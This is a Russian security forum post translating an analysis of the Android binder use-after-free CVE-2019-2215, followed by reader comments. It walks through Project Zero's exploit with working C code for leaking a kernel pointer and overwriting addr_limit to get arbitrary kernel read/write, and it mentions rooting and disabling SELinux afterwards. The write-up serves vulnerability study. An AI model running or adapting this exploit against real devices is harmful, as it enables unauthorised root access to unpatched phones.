• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Анализ CVE-2019-2215(/dev/binder UAF)

Оригинал статьи находится здесь:

За последние несколько недель, я пытался понять недавний Android Binder Use-After-Free (UAF), опубликованный Проектом Google Project Zero (p0). Этот баг на самом деле не новый, проблема была обнаружена и исправлена в основном ядре в феврале 2018 года, однако, p0 обнаружил, что многие популярные устройства не получили патч. Некоторые из этих устройств являлись: телефоны Pixel 2, Huawei P20 Samsung Galaxy S7, S8 и S9. Я считаю, что многие из этих устройств получили патчи за последние пару недель, и тем самым, окончательно «убили жука».

Покопавшись с отладчиком ядра на виртуальной машине (под управлением Android-x86) и протестировав уязвимый Pixel 2, я довольно хорошо понял эксплойт, написанный Дженном Хорном и Мэдди Стоуном. Без понимания Binder’a (объекта binder_thread конкретно), а также того, как работает Vectored I/O (на рус. векторизованные входы/выходы), можно легко запутаться в эксплойте. Они виртуозно эксплуатировали этот эксплойт, поэтому я подумал, что было бы здорово написать, как он работает.

В основном мы сосредоточимся на том, как создается примитивный Arbitrary Read/Write

(на рус. Произвольное чтение/запись), мы не будем фокусироваться на пост эксплуатационных вещах, таких как отключение SELinux и получение полного доступа (рута одним словом), поскольку существует достаточно статей, которые это объясняют. Ниже приведен краткий обзор того, что будет затронуто в этой статье:
  • Основной обзор Binder и Vectored I/O
  • Детали уязвимости
  • Утечка kernel task struct
  • Установление примитивного arbitrary read/write
  • Заключение
Обратите внимание, что все фрагменты кода будут взяты из ядра v4.4.177, так как я лично тестировал именно это ядро.

Основной обзор Binder и Vectored I/O
Binder

Драйвер Binder – подходит только для Android’a, который обеспечивает простой способ взаимодействия между процессами (Inter Process Communication - IPC), включая удаленный вызов процедур (Remote Procedure Calling - RPC). Исходный код этого драйвера вы найдете в основном ядре Linux, однако он настроен для сборки на Android’овских билдах.

Существует несколько различных драйверов устройств binder’a, которые используются для различных типов IPC. Для связи между фреймворком и процессами приложений с использованием Android Interface Definition Language (AIDL), используется /dev/binder. Для связи между фреймворком и процессорами / оборудованием поставщика с использованием Hardware Abstraction Layer (HAL) Interface Definition Language (HIDL), используется /dev/hwbinder. Наконец, для поставщиков, которые хотят использовать IPC между процессами без использования HIDL, используется /dev/vndbinder. Для целей эксплойта нам интересен только первый драйвер, /dev/binder.

Как и большинство IPC механизмов в Linux, binder работает через дескрипторы файлов, и вы можете добавлять в него опросы событий с помощью EPOLL API.

Vectored I/O

Vectored I/O позволяет либо записывать в поток данных с помощью нескольких буферов, либо читать из потока данных в несколько буферов. Он также известен как " scatter/gather I/O ". Vectored I/O, или векторизованные входы/выходы имеют несколько преимуществ по сравнению с не векторизованными входами/выходами. Например, вы можете писать в / читать с разных буферов, которые не связанны друг с другом.

Примером того, где векторизованный ввод/вывод полезен, является пакет данных, в котором у вас есть заголовок, за которым следуют данные в соседнем блоке. Используя Vectored I/O, вы можете держать заголовок и данные в отдельных буферах и читать их или записывать с помощью одного системного вызова вместо двух.

1575287572733.png


Как это работает? Вы определяете массив структур iovec, которые содержат информацию обо всех буферах, которые вы хотели бы использовать для I/O, или ввода/вывода. Структура iovec относительно мала и состоит только из двух QWORDS (8 байт данных) на 64-битных системах.
Java:
struct iovec {         // Size: 0x10
    void *iov_base;    // 0x00
    size_t iov_len; // 0x08
}
Детали уязвимости

Драйвер Binder имеет процедуру очистки, которую вы можете запустить из ioctl() перед фактическим закрытием драйвера. Если вы знакомы с драйверами и процедурами очистки, вы, вероятно, уже догадываетесь, почему это может вызвать проблемы.

Давайте посмотрим на резюме отчета p0.

Как описано в предварительном коммите:
binder_poll() передает поток -> подождать в очереди.
Когда поток, использующий epoll заканчивается,
используя BINDER_THREAD_EXIT, очередь освобождена,
но она никогда не удаляется из соответствующей структуры
данных epoll. Когда процесс впоследствии завершается,
очистка кода epoll пытается получить доступ к
списку очереди, что приводит к уязвимости UAF (Use-After-Free).

Это описание немного непонятное. UAF не бывает в очереди ожидания совсем. Очередь - это встроенная структура в более глобальной структуре binder_thread, объект binder_thread - это то, что на самом деле является UAF'd. Причина, по которой они упоминают очередь ожидания в этом отчете, заключается в том, что эта проблема была обнаружена Google’вским Syzkaller fuzzer’ом еще в 2017 году.

The Free

Давайте посмотрим на команду ioctl, о которой идет речь, BINDER_THREAD_EXIT.
Java:
static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    // [...]
   
    switch (cmd) {
    // [...]
    case BINDER_THREAD_EXIT:
        binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",
                 proc->pid, thread->pid);
        binder_free_thread(proc, thread);
        thread = NULL;
        break;
     // [...]
    }
}

// [...]

static int binder_free_thread(struct binder_proc *proc,
                  struct binder_thread *thread)
{
    struct binder_transaction *t;
    struct binder_transaction *send_reply = NULL;
    int active_transactions = 0;

    // [...]
   
    while (t) {
        active_transactions++;
        // [...]
    }
    if (send_reply)
        binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
    binder_release_work(&thread->todo);
    kfree(thread);
    binder_stats_deleted(BINDER_STAT_THREAD);
    return active_transactions;
}
Критической частью в этом коде является трока 2610, kfree(thread). Именно здесь происходит free часть уязвимости use-after-free.

The use (после free)
Теперь, когда мы увидели, где происходит the free, давайте попробуем посмотреть, где происходит the use. Для этого будет полезен траса стека из отчета KASAN.
Код:
Call Trace:
  ...
  _raw_spin_lock_irqsave+0x96/0xc0 kernel/locking/spinlock.c:159
  remove_wait_queue+0x81/0x350 kernel/sched/wait.c:50
  ep_remove_wait_queue fs/eventpoll.c:595 [inline]
  ep_unregister_pollwait.isra.7+0x18c/0x590 fs/eventpoll.c:613
  ep_free+0x13f/0x320 fs/eventpoll.c:830
  ep_eventpoll_release+0x44/0x60 fs/eventpoll.c:862
  ...
Сначала это может показаться немного запутанно, так как на объект binder_thread ссылаются косвенно, т.е. если вы попробуете что-то найти про binder_thread, вы ничего интересного не найдете. Однако, если мы взглянем на ep_unregister_pollwait():
Java:
static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)
{
    struct list_head *lsthead = &epi->pwqlist;
    struct eppoll_entry *pwq;

    while (!list_empty(lsthead)) {
        pwq = list_first_entry(lsthead, struct eppoll_entry, llink);

        list_del(&pwq->llink);
        ep_remove_wait_queue(pwq);
        kmem_cache_free(pwq_cache, pwq);
    }
}
Мы заметим, что наш свободный binder_thread находится в списке ссылок epoll_entry, и, в конце концов, будет тем, что представляет собой pwq.
Java:
static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
    wait_queue_head_t *whead;

    rcu_read_lock();
    /*
     * If it is cleared by POLLFREE, it should be rcu-safe.
     * If we read NULL we need a barrier paired with
     * smp_store_release() in ep_poll_callback(), otherwise
     * we rely on whead->lock.
     */
    whead = smp_load_acquire(&pwq->whead);
    if (whead)
        remove_wait_queue(whead, &pwq->wait);
    rcu_read_unlock();
}
Так же можно заметить, что pwq используется в двух местах. Один из них - заголовок списка очереди ожидания, whead. Другой - сам объект очереди ожидания, удаляется он через remove_wait_queue.

На первый взгляд, оба аргумента remove_wait_queue должны быть относительно близки в памяти, но необходимо рассмотреть макрос smp_load_acquire(). Этот макрос является барьером памяти. Изначально я предполагал, что этот макрос просто добавил некоторые компиляторы для атомного доступа (ознакомиться можно тут ( ) ) к whead, но это было ошибкой. Что не совсем очевидно, так это макрос smp_load_acquire(), который разыменовывает все, что передано ему. Поэтому то, что я изначально читал как: whead = &pwq->whead, на самом деле больше похоже на: whead = *(wait_queue_head_t *)&pwq->whead, или проще: whead = pwq->whead.

Давайте взглянем на remove_wait_queue():
Java:
// WRITE-UP COMMENT: q points into stale data / the UAF object
void remove_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
{
    unsigned long flags;

    spin_lock_irqsave(&q->lock, flags);
    __remove_wait_queue(q, wait);
    spin_unlock_irqrestore(&q->lock, flags);
}
Когда заголовок списка заканчивается, будучи нашим UAF binder_thread, q указывает на устаревшие данные. Поэтому краш KASAN происходит на спинлоке - он попытается заблокировать мьютекс на q, который освобождает память.

На обычных устройствах, не использующих приборы KASAN, если вы запустите Proof of-Concept (PoC), вы, скорее всего, ничего не заметите. Скорее всего, что аварий не произойдет, и вы подумаете, что устройство не является уязвимым, но это не так. Это потому что, скорее всего, q все еще указывает на достоверные, устаревшие данные о head (или как пишут в книгах «куча»). Однако, если вы выполните Heap spraying 0x41, вы запустите остановку процессора, что приведет к зависанию вашего девайса.

Это связано с тем, что блокировка представляет собой целое число, которое устанавливается либо на 0 (для разблокированных), либо на 1 (для заблокированных). Технически, если мьютекс установлен на любое значение, кроме нуля, он считается заблокированным. Поскольку контролируемый атакующим heap spray в основном блокирует мьютекс (не проходя через соответствующие каналы), то этот мюьтекс будет навсегда заблокирован, что приведет к блокировке и замораживанию устройства.

Стоит отметить, что этот объект находится в кэше kmalloc-512, который является подходящим кэшем для использования, так как не очень часто используется фоновыми процессами по сравнению с кэшами меньшего размера. На ядре v4.4.177 размер объекта равен 0x190 или 400 байт. Поскольку этот размер далек от kmalloc-256 и kmalloc-512 – то вполне справедливо предположить, что этот объект попадает в кэш kmalloc-512 на большинстве, если не на всех устройствах.

Утечка kernel task struct

Оружие под названием unlink.

Уязвимость была очень умно использована. Эксплойт использует преимущества операции linked list unlink. Это может быть использовано на пересекающихся объектах для их повреждения с помощью связанных метаданных списка.

Если предположить, что спинлок не зашел в тупик на невалидном мьютексе из-за повреждения памяти, в конце концов, следующая ссылка &pwq->wait функции ep_remove_wait_queue() укажет на наш UAF'd объект. Рассмотрим, что функция remove_wait_queue(), и конечно же функция __remove_wait_queue(), делает с этой структурой:
Java:
// WRITEUP COMMENT: old points to stale data / the UAF object
static inline void
__remove_wait_queue(wait_queue_head_t *head, wait_queue_t *old)
{
    list_del(&old->task_list);
}
// ...
static inline void list_del(struct list_head *entry)
{
    __list_del(entry->prev, entry->next);
    entry->next = LIST_POISON1;
    entry->prev = LIST_POISON2;
}
// ...
static inline void __list_del(struct list_head * prev, struct list_head * next)
{
    next->prev = prev;
    WRITE_ONCE(prev->next, next);
}
Главная строка здесь: next->prev = prev, это по сути является unlink, и записывает в наш объект UAF'd указатель на предыдущий объект.

Это мы и будем использовать, потому что если мы, используя unlink, совместим другой объект ядра поверх нашего объекта UAF'd, мы можем использовать это, для повреждения данных в совмещенным объекте. Это и использовали p0 для утечки kernel task struct. Какой объект является хорошим кандидатом для этой стратегии атаки? Конечно же, iovec.

Есть несколько свойств структуры iovec, что делает её действительно хорошим кандидатом для эксплуатации в данном случае:

  • Эта структура небольшая (размером 0x10 на 64-битных машинах), и вы можете контролировать все поля практически без ограничений.
  • Вы можете сложить их в стек и таким образом контролировать, в каком кэше kmalloc вашего стека iovec окажется то, на сколько записей вы напишете.
  • У них есть указатель (iov_base), который будет идеальным полем для повреждения при разрыве соединения.
При нормальных обстоятельствах iov_base проверяется в ядре, где бы он ни использовался. Ядро сначала убедится, что iov_base является указателем пользователя перед обработкой запроса, однако, используя примитивный unlink (о котором мы только что говорили) мы можем повредить этот указатель после проверки и перезаписать его указателем ядра, который является объектом prev в unlink процессе.

Получается, что когда мы будем читать из дескриптора, который был перезаписан с поврежденным iovec, мы будем читать данные, происходящие из kernel pointer, или указателя удра, а не из userland (пользовательское пространство), как это предусмотрено. Это позволит нам сливать данные ядра относительно указателя prev, который содержит указатели, достаточно полезные для произвольного чтения/записи, а также выполнения кода.

Сложным шагом в этом процессе является определение, какой индекс iovec совпадает с очередью ожидания. Это важно, потому что если мы не сфальсифицируем мьютекс должным образом, устройство зависнет, как описывалось выше, и мы не сможем с ним работать.

Найти смещение очереди ожидания просто, если у вас есть образ ядра той версии, с которой планируете работать. Рассматривая функцию, использующую поле очереди ожидания binder_thread, мы можем легко найти смещение при разборке кода. Одной из таких функций является binder_wakeup_thread_ilocked(). Эта функция вызывает уже wake_up_interruptible_sync(&thread-> wait). На смещение следует ссылаться, когда адрес загружается в регистр X0 непосредственно перед вызовом.
Код:
.text:0000000000C0E2B4    ADD    X0, X8, #0xA0
.text:0000000000C0E2B8    MOV    W1, #1
.text:0000000000C0E2BC    MOV    W2, #1
.text:0000000000C0E2C0    TBZ    W19, #0, loc_C0E2CC
.text:0000000000C0E2C4    BL     __wake_up_sync
На ядре v4.4.177 видно, что очередь ожидания в объекте binder_thread составляет 0xA0 байт. Так как iovec имеет размер 0x10, это означает, что iovec, с индексом 0xA в массиве, будет выстраиваться в очередь ожидания.
Java:
#define BINDER_THREAD_SZ 0x190
#define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16)
#define WAITQUEUE_OFFSET 0xA0
#define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16)
И так, как передать действительный адрес iov_base, который будет проходить проверку, чтобы предотвратить застой? Поскольку блокировка представляет собой только DWORD (4 байта), а 64-битный указатель может быть передан, то достаточно использовать mmap() для отображения адреса пользователя, где младшие 32-битные значения равны 0.
Java:
dummy_page = mmap((void *)0x100000000ul, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

// ...

struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));

iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;

Когда эксплойт запущен, iovec на IOVEC_INDX_FOR_WQ займет место мьютекса, а также место следующего указателя в связанном списке. iovec на IOVEC_INDX_FOR_WQ+1 займет место указателя prev в том же связанном списке. Это означает, что iov_base поля IOVEC_INDX_FOR_WQ+1 будет перезаписано указателем ядра.

Давайте рассмотрим свободную память в KGDB на виртуальной машине с ОС Android-x86 до и после отключения соединения. Для этого я установил точку останова на вызове remove_wait_queue(). Первый аргумент будет указывать на свободную память, поэтому мы найдем указатель в регистре RDI. Если мы рассмотрим эту память перед вызовом, то увидим следующее:

Код:
Thread 1 hit Breakpoint 11, 0xffffffff812811c2 in ep_unregister_pollwait.isra ()
gdb-peda$ x/50wx $rdi
0xffff8880959d68a0:     0x00000000      0x00000001      0x00001000      0x00000000
0xffff8880959d68b0:     0xdeadbeef      0x00000000      0x00001000      0x00000000
...
Обратите внимание на данные, которые перекрываются с некоторыми структурами iovec сверху - например, мы видим 0xdeadbeef на 0xffff88809239a6b0. Теперь давайте посмотрим на ту же самую память после разрыва связи. Мы установим точку останова в конце ep_unregister_pollwait и рассмотрим ту же память.
Код:
Thread 1 hit Breakpoint 12, 0xffffffff812811ee in ep_unregister_pollwait.isra ()
gdb-peda$ x/50wx 0xffff8880959d68a0
0xffff8880959d68a0:     0x00000000      0x00000001      0x959d68a8      0xffff8880
0xffff8880959d68b0:     0x959d68a8      0xffff8880      0x00001000      0x00000000
...
iov_len iovec на IOVEC_INDX_FOR_WQ был перезаписан указателем ядра, а iov_base iovec на IOVEC_INDX_FOR_WQ+1 был перезаписан с тем же kernel pointer, таким образом, повреждая внутреннюю структуру ядра iovec в куче ядра!!

Запуск утечки

Похоже, что p0 решил использовать pipe (именованный канал, почитать можно ) в качестве среды для утечки. Стратегия атаки в основном заключается в следующем:
  1. Создать pipe
  2. Вызвать функцию free() на объекте binder_thread так, чтобы структуры iovec, выделенные на следующем шаге, перекрывали его.
  3. Записать структуры iovec в старую память binder_thread с помощью системного вызова функции writev() на именном канале.
  4. Вызвать use-after-free / unlink функцию для повреждения структуры iovec.
  5. Вызвать функцию read() на именном канале, которая будет использовать неповрежденный iovec на IOVEC_INDX_FOR_WQ для чтения данных dummy_page.
  6. Вызвать функцию read() на именном канале еще раз, которая будет использовать поврежденный iovec на IOVEC_INDX_FOR_WQ+1 для чтения данных ядра в буфер утечки.
Поскольку мы инициализировали два iovec'а с помощью iov_len размером 0x1000, вызов функции writev() в конечном итоге приведет к записыванию двух страниц данных. Первая страница будет содержать данные из dummy_page, которые бесполезны для использования. Вторая страница будет содержать данные ядра!

Проще работать с чтением и записью в двух отдельных потоках. Родительский поток ответственен за:
  1. Запуск функции free() на binder_thread
  2. Запись стека iovec в pipe, подключенный к «дочернему» процессу, который будет перекрывать свободный binder_thread.
  3. (ожидание на дочернем потоке)
  4. Чтение второй страницы просочившихся данных ядра
Дочерний поток ответственен за:
  1. Повреждение iovec путем удаления события EPOLL, вызывающего отключение соединения.
  2. Чтение первой страницы ненужных данных
Когда мы соберем все это вместе, наш код для утечки будет выглядеть следующим образом: (Обратите внимание, что функционально это похоже на p0, за исключением того, что я немного почистил его и перенес в приложение, следовательно, __android_log_print()).
Java:
struct epoll_event event = {.events = EPOLLIN};
struct iovec iovec_array[IOVEC_ARRAY_SZ];
char leakBuff[0x1000];
int pipefd[2];
int byteSent;
pid_t pid;

memset(iovec_array, 0, sizeof(iovec_array));

if(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event))
    exitWithError("EPOLL_CTL_ADD failed: %s", strerror(errno));

iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page; // mutex
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; // linked list next
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; // linked list prev
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;

if(pipe(pipefd))
    exitWithError("Pipe failed: %s", strerror(errno));

if(fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000)
    exitWithError("F_SETPIPE_SZ failed: %s", strerror(errno));

pid = fork();

if(pid == 0)
{
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    sleep(2);

    epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);

    if(read(pipefd[0], leakBuff, sizeof(leakBuff)) != sizeof(leakBuff))
        exitWithError("[CHILD] Read failed: %s", strerror(errno));

    close(pipefd[1]);
    _exit(0);
}

ioctl(fd, BINDER_THREAD_EXIT, NULL);
byteSent = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);

if(byteSent != 0x2000)
    exitWithError("[PARENT] Leak failed: writev returned %d, expected 0x2000.", byteSent);

if(read(pipefd[0], leakBuff, sizeof(leakBuff)) != sizeof(leakBuff))
    exitWithError("[PARENT] Read failed: %s", strerror(errno));

__android_log_print(ANDROID_LOG_INFO, "EXPLOIT", "leak + 0xE8 = %lx\n", *(uint64_t *)(leakBuff + 0xE8));
thread_info = *(unsigned long *)(leakBuff + 0xE8);
Когда мы запустим это приложение, мы получим примерное то же, что описано ниже в logcat:
com.example.binderuaf I/EXPLOIT: leak + 0xE8 = fffffffec88c5700
Указатель показывает на текущую структуру thread_info процесса. Эта структура имеет очень полезное поле, которое мы можем использовать для получения примитивного произвольного чтения/записи.

Установление произвольного чтения/записи (произвольного r/w)

Нарушение ограничений

Итак, мы слили полезный указатель ядра, теперь что? Давайте посмотрим на первые несколько членов task_info, объект, адрес которого мы пропускаем.
Java:
struct thread_info {
    unsigned long        flags;        /* low level flags */
    mm_segment_t        addr_limit;    /* address limit */
    struct task_struct    *task;        /* main task structure */
    int            preempt_count;        /* 0 => preemptable, <0 => bug */
    int            cpu;               /* cpu */
};
addr_limit – Привлекает больше всего внимания. Есть несколько очень важных макросов, которые ссылаются на это поле с точки зрения безопасности. Рассмотрим один из них - access_ok.
Java:
#define access_ok(type, addr, size)    __range_ok(addr, size)
Из комментария __range_ok() - по существу эквивалентен (u65)addr + (u65)size <= current->addr_limit. Этот макрос используется практически везде, где ядро пытается получить доступ к пользовательскому указателю. Оно используется для того, чтобы убедиться, что предоставленный указатель действительно является указателем пользователя - и не позволяет злоумышленику претвориться пользователем, передавая указатели ядра туда, где ядро ожидает пользовательские указатели. Понимаете, к чему я клоню? :)

Как только этот addr_limit будет взломан, вы сможете свободно передавать указатели ядра туда, где ожидаются пользовательские указатели, и access_ok() никогда не выйдет из строя.

Получение контролируемой записи

Мы уже продемонстрировали, что можем использовать развязку для чтения и утечки данных ядра, но как насчет ее модификации? Оказывается, мы тоже можем это сделать! Для утечки данных ядра мы написали описатель файла со стеком структур iovec и повредили одну из них развязкой, так что вызов функции read() впоследствии приведет к утечке данных.

Чтобы повредить данные ядра, мы пойдем другим путем. Вызвав функцию recvmsg() со стеком структур iovec и повредив его таким же образом, мы можем заставить данные, записанные с помощью write(), скопироваться поверх последовательных структур iovec для получения произвольной записи.

Давайте посмотрим на стек iovec, который мы вставляем в наш UAF объект с помощью функции recvmsg().
Java:
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page; // mutex
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; // linked list next
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; // linked list prev
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; // iov_len of previous, then this element and next element
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;
Как и в случае с Infoleak, разблокировка повреждает iovec.iov_len IOVEC_INDEX_FOR_WQ и iovec.iov_base IOVEC_INDX_FOR_WQ+1 с указателями ядра, указывающими непосредственно на структуры IOVEC_INDX_WQ. Однако мы разделили эти данные, используя iovec.iov_len, на следующие группы, разбивая время записи

Так же как и в случае с Infoleak, развязка повреждает iov_len на IOVEC_INDX_FOR_WQ и iov_base на IOVEC_INDX_FOR_WQ+1 с указателем ядра. Этот указатель ядра не просто указывает на случайные данные - если мы еще раз взглянем на вывод KGDB, то заметим, что он указывает на iov_len iovec на IOVEC_INDX_FOR_WQ!

1575289491194.png


Как только recvmsg() достигнет этого iovec, он начнет копировать данные, которые мы написали с помощью функции write() в этот указатель, что позволит нам записывать произвольные данные в следующие структуры iovec после проверки. Это позволяет нам передавать в базу iov_base следующего iovec любой указатель - и это дает нам возможность произвольной записи. Мы контролируем то, что записывается по этому адресу с помощью хвостового QWORD функции write().

Если мы посмотрим на данные, которые будут записаны, мы увидим, что они совпадают с данными iov_len в IOVEC_INDX_FOR_WQ.
Java:
unsigned long second_write_chunk[] = {
    1, /* iov_len */
    0xdeadbeef, /* iov_base (already used) */
    0x8 + 2 * 0x10, /* iov_len (already used) */
    current_ptr + 0x8, /* next iov_base (addr_limit) */
    8, /* next iov_len (sizeof(addr_limit)) */
    0xfffffffffffffffe /* value to write */
};
Стратегия атаки заключается в следующем:
  1. Создание пары связанных сокетов
  2. Запуск функции free() на объекте binder_thread так, чтобы стек recvmsg() iovec перекрывал стек binder_thread.
  3. Запись 1 байта в порядке предупреждения, чтобы удовлетворить первый iovec.
  4. Запись структуры iovec в «старую» память binder_thread с помощью функции recvmsg().
  5. Запуск use-after-free / unlink (развязки) для повреждения структуры iovec.
  6. Вызов функции write() на связанных сокетов, которая будет использовать поврежденный iovec для повреждения следующего iovec, чтобы сделать контролируемое повреждение памяти.
Опять же, как и в утечке, нужны два потока. Родительский поток отвечает за:
  1. Предварительную запись 1 байта данных для удовлетворения первого запроса recvmsg() на iovec.
  2. Запуск функции free() на binder_thread
  3. Запись стека iovec в сокет и ожидание данных, соответствующих запросам iovec с помощью функции recvmsg()
Дочерний поток отвечает за:
  1. Повреждение iovec путем удаления события EPOLL, вызывающего отключение соединения
  2. Запись данных, которые повредят структуру iovec при продолжении вызова функции recvmsg() родительского потока.
Собрав все это вместе, мы получим следующий код, чтобы разбить родительский процесс addr_limit. Опять же, функционально этот код такой же, как и p0, но более чистый и использует функции JNI.
Java:
#define OFFSET_OF_ADDR_LIMIT 8

struct epoll_event event = {.events = EPOLLIN};
struct iovec iovec_array[IOVEC_ARRAY_SZ];
int iovec_corruption_payload_sz;
int sockfd[2];
int byteSent;
pid_t pid;

memset(iovec_array, 0, sizeof(iovec_array));

if(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event))
    exitWithError("EPOLL_CTL_ADD failed: %s", strerror(errno));

unsigned long iovec_corruption_payload[] = {
        1,                  // IOVEC_INDX_FOR_WQ -> iov_len
        0xdeadbeef,         // IOVEC_INDX_FOR_WQ + 1 -> iov_base
        0x8 + (2 * 0x10),   // IOVEC_INDX_FOR_WQ + 1 -> iov_len
        thread_info + OFFSET_OF_ADDR_LIMIT, // Arb. Write location! IOVEC_INDEX_FOR_WQ + 2 -> iov_base
        8,                  // Arb. Write size (only need a QWORD)! IOVEC_INDEX_FOR_WQ + 2 -> iov_len
        0xfffffffffffffffe, // Arb. Write value! Smash it so we can write anywhere.
};

iovec_corruption_payload_sz = sizeof(iovec_corruption_payload);

iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page; // mutex
iovec_array[IOVEC_INDX_FOR_WQ].iov_len  = 1; // only ask for one byte since we'll only write one byte - linked list next
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; // linked list prev
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len  = 0x8 + 2 * 0x10;     // length of previous iovec + this one + the next one
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD; // will get smashed by iovec_corruption_payload
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len  = 8;

if(socketpair(AF_UNIX, SOCK_STREAM, 0, sockfd))
    exitWithError("Socket pair failed: %s", strerror(errno));

// Preemptively satisfy the first iovec request
if(write(sockfd[1], "X", 1) != 1)
    exitWithError("Write 1 byte failed: %s", strerror(errno));

pid = fork();

if(pid == 0)
{
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    sleep(2);

    epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);

    byteSent = write(sockfd[1], iovec_corruption_payload, iovec_corruption_payload_sz);

    if(byteSent != iovec_corruption_payload_sz)
        exitWithError("[CHILD] Write returned %d, expected %d.", byteSent, iovec_corruption_payload_sz);

    _exit(0);
}

ioctl(fd, BINDER_THREAD_EXIT, NULL);

struct msghdr msg = {
        .msg_iov = iovec_array,
        .msg_iovlen = IOVEC_ARRAY_SZ
};

recvmsg(sockfd[0], &msg, MSG_WAITALL);
Вспомогательные функции произвольного чтения/записи

Теперь, когда предел адресов процесса разбит, произвольное чтение/запись ядра выполняется просто, как и несколько системных вызовов read() и write(). Просто записывая данные, которые мы хотим записать в канал с помощью функции write(), и вызывая read() на другом конце канала с адресом ядра, мы можем передать данные на произвольный адрес ядра.

И наоборот, записывая данные из произвольного адреса ядра в канал и вызывая read() на другом конце канала, мы можем передавать данные из произвольного адреса ядра. Вуаля, произвольное чтение/запись!

Дополнительные примечания

Некоторые устройства (даже если они уязвимы) могут выйти из строя при вызове функции writev() при утечке, так как они будут возвращать 0x1000 вместо нужного значения 0x2000. Обычно это связано с тем, что смещение для очереди неверно, поэтому второй iovec.iov_base не разбивается указателем ядра. Это вызовет возврат 0x1000, поскольку второй запрос будет неудачным, так как 0xdeadbeef - это нераскрытый адрес.

В этом случае вам придется извлечь образ ядра для версии, под которую вы будете писать код, и извлечь соответствующие смещения (или просто пробрутфорсить).

Заключение

После того, как вы прочитали/записали ядро, наступает конец. Рут шела будет патчем для верификации. Если вы не на устройстве Samsung, вы можете сделать шаг вперед: отключить SELinux и исправить учетные данные init_task так, чтобы каждый новый процесс, запускающий постэксплуатацию, автоматически запускался с полными правами. На устройствах Samsung, вряд ли вы сможете такое провернуть без дополнительной работы, из-за их Knox уменьшений. Однако на большинстве других устройств эти дополнительные исправления не должны вызвать проблем.

Стоит отметить, что эксплойт p0 очень стабилен. Он редко дает сбой, и когда такое случается, то обычно это просто ошибка, а не паника ядра, так что вам просто нужно запустить эксплойт снова, и вы снова в строю. Это делает его отличным для коротко частного получения рут прав для людей с заблокированными OEM загрузчиками вроде меня.

В целом, я думал, что эта стратегия эксплойт Джанна Хорна и Мэдди Стоуна была довольно новаторский, и я определенно многому научился, разрушая его.

Ссылки / Дополнительные ресурсы
Благодарность

Дженну Хорну и Мэдди Стоуну за код эксплойта, упомянутый в статье.
 

fuzzz

Red Team
03.02.2019
249
468
BIT
1
Крутая статья! Лайк. g00db0y - братик , а чего статью сюда не закинули ? Reverse engineering
Там же есть описание. Софт для реверса, Ваши кряки, Протекторы/VM, Бинарные уязвимости, Анализ вредоносного ПО
 
  • Нравится
Реакции: g00db0y

g00db0y

Red Team
11.06.2018
139
684
BIT
0
Крутая статья! Лайк. g00db0y - братик , а чего статью сюда не закинули ? Reverse engineering
Там же есть описание. Софт для реверса, Ваши кряки, Протекторы/VM, Бинарные уязвимости, Анализ вредоносного ПО
Ты прав, лучше все таки туда.

@SooLFaa перекинь статью пожалуйста.
 
  • Нравится
Реакции: fuzzz

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
блин, парни, курто. очень круто. половина не понятно, но это офигеть как круто.
 
  • Нравится
Реакции: g00db0y
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!